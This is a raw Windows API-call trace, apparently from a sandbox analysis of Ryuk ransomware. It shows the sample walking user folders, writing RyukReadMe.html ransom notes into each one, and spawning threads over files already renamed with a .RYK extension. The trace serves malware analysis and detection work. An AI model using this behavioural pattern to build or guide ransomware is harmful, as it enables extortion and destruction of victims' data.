	[0275.435] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0275.435] GetLastError () returned 0xb7
	[0275.435] CloseHandle (hObject=0x858) returned 1
	[0275.436] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Sidebar\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64749750, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x64749750, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0275.436] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64749750, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x64749750, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0275.436] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1
	[0275.436] SetLastError (dwErrCode=0x0) 
	[0275.436] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Sidebar\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows sidebar\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa0c
	[0275.437] GetLastError () returned 0xb7
	[0275.437] CloseHandle (hObject=0xa0c) returned 1
	[0275.437] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Sidebar\\Gadgets\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1dc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f220
	[0275.438] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1dc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0275.438] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1dc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0275.438] FindClose (in: hFindFile=0x29f220 | out: hFindFile=0x29f220) returned 1
	[0275.438] SetLastError (dwErrCode=0x0) 
	[0275.438] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Sidebar\\Gadgets\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows sidebar\\gadgets\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa34
	[0275.698] GetLastError () returned 0x0
	[0275.699] WriteFile (in: hFile=0xa34, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10cfe8*=0x273, lpOverlapped=0x0) returned 1
	[0275.701] CloseHandle (hObject=0xa34) returned 1
	[0275.701] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64749750, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x64749750, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x64749750, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0275.701] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x54, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="Settings.ini", cAlternateFileName="")) returned 1
	[0275.701] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x54, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="Settings.ini", cAlternateFileName="")) returned 0
	[0275.702] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0275.702] SetLastError (dwErrCode=0x0) 
	[0275.702] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Sidebar\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows sidebar\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0275.702] GetLastError () returned 0xb7
	[0275.702] CloseHandle (hObject=0x858) returned 1
	[0275.702] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64749750, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x64749750, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 0
	[0275.703] FindClose (in: hFindFile=0x29f100 | out: hFindFile=0x29f100) returned 1
	[0275.703] SetLastError (dwErrCode=0x0) 
	[0275.703] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870
	[0275.703] GetLastError () returned 0xb7
	[0275.703] CloseHandle (hObject=0x870) returned 1
	[0275.703] FindNextFileW (in: hFindFile=0x29f0a0, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1
	[0275.704] SetLastError (dwErrCode=0x0) 
	[0275.704] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870
	[0275.704] GetLastError () returned 0xb7
	[0275.704] CloseHandle (hObject=0x870) returned 1
	[0275.704] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft Help\\*.*", lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0x6476f8b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x6476f8b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f100
	[0275.705] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0x6476f8b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x6476f8b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0275.705] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6476f8b0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x6476f8b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x6476f8b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0275.705] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6476f8b0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x6476f8b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x6476f8b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0275.705] FindClose (in: hFindFile=0x29f100 | out: hFindFile=0x29f100) returned 1
	[0275.705] SetLastError (dwErrCode=0x0) 
	[0275.705] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft Help\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft help\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870
	[0275.705] GetLastError () returned 0xb7
	[0275.705] CloseHandle (hObject=0x870) returned 1
	[0275.706] FindNextFileW (in: hFindFile=0x29f0a0, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1
	[0275.706] FindNextFileW (in: hFindFile=0x29f0a0, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46aea490, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0275.706] FindNextFileW (in: hFindFile=0x29f0a0, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1a7337b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x1a7337b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1
	[0275.706] SetLastError (dwErrCode=0x0) 
	[0275.706] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870
	[0275.706] GetLastError () returned 0xb7
	[0275.706] CloseHandle (hObject=0x870) returned 1
	[0275.706] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\*.*", lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x69b58030, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x69b58030, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f100
	[0275.707] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x69b58030, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x69b58030, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0275.707] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbdb9a6e0, ftCreationTime.dwHighDateTime=0x1d5bbf5, ftLastAccessTime.dwLowDateTime=0x7c0a6140, ftLastAccessTime.dwHighDateTime=0x1d5c0e0, ftLastWriteTime.dwLowDateTime=0x4e3de270, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x10872, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="-G8QAFqH7VYxt6.mkv.RYK", cAlternateFileName="-G8QAF~1.RYK")) returned 1
	[0275.707] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2800000
	[0275.711] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x858
	[0275.718] VirtualFree (lpAddress=0x2800000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.719] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc38ef660, ftCreationTime.dwHighDateTime=0x1d5b7a9, ftLastAccessTime.dwLowDateTime=0x7e855f0, ftLastAccessTime.dwHighDateTime=0x1d5b7b8, ftLastWriteTime.dwLowDateTime=0x4e42a530, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x183c2, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="026xWvE01Y4.m4a.RYK", cAlternateFileName="026XWV~1.RYK")) returned 1
	[0275.719] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2800000
	[0275.720] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa30
	[0275.748] VirtualFree (lpAddress=0x2800000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.749] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4dec250, ftCreationTime.dwHighDateTime=0x1d5baa5, ftLastAccessTime.dwLowDateTime=0x22df5aa0, ftLastAccessTime.dwHighDateTime=0x1d5baf3, ftLastWriteTime.dwLowDateTime=0x66687810, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x17ff2, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="1CRIC9Y1YG7tpqYhKZpE.flv.RYK", cAlternateFileName="1CRIC9~1.RYK")) returned 1
	[0275.749] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2800000
	[0275.750] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa2c
	[0275.776] VirtualFree (lpAddress=0x2800000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.777] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5f217220, ftCreationTime.dwHighDateTime=0x1d5ba38, ftLastAccessTime.dwLowDateTime=0x6ddad7f0, ftLastAccessTime.dwHighDateTime=0x1d5bdfa, ftLastWriteTime.dwLowDateTime=0x4e450690, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xbda2, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="3BjGRofHkmE_xK.avi.RYK", cAlternateFileName="3BJGRO~1.RYK")) returned 1
	[0275.778] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2800000
	[0275.778] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa14
	[0275.995] VirtualFree (lpAddress=0x2800000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.996] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd9deae0, ftCreationTime.dwHighDateTime=0x1d5c0be, ftLastAccessTime.dwLowDateTime=0xf173c010, ftLastAccessTime.dwHighDateTime=0x1d5baa6, ftLastWriteTime.dwLowDateTime=0x4e4767f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x10b32, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="3Er-.jpg.RYK", cAlternateFileName="3ER-JP~1.RYK")) returned 1
	[0275.996] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0275.996] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa0c
	[0275.997] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.998] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66eed9b0, ftCreationTime.dwHighDateTime=0x1d5b700, ftLastAccessTime.dwLowDateTime=0xb9c06200, ftLastAccessTime.dwHighDateTime=0x1d5c531, ftLastWriteTime.dwLowDateTime=0x4e49c950, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x1c82, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="4A3TcmNtg9qqVR5x.mp3.RYK", cAlternateFileName="4A3TCM~1.RYK")) returned 1
	[0275.998] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0275.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa6c
	[0276.000] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.001] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x54b91d00, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x54b91d00, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x4e4c2ab0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x412, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="AdobeARM.log.RYK", cAlternateFileName="ADOBEA~1.RYK")) returned 1
	[0276.001] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0276.001] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa68
	[0276.003] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.003] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xaa777f30, ftCreationTime.dwHighDateTime=0x1d5bb55, ftLastAccessTime.dwLowDateTime=0xe4b2ce30, ftLastAccessTime.dwHighDateTime=0x1d5bf50, ftLastWriteTime.dwLowDateTime=0x4e50ed70, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x18b62, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="B9VEQXx.flv.RYK", cAlternateFileName="B9VEQX~1.RYK")) returned 1
	[0276.003] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0276.004] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa48
	[0276.005] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
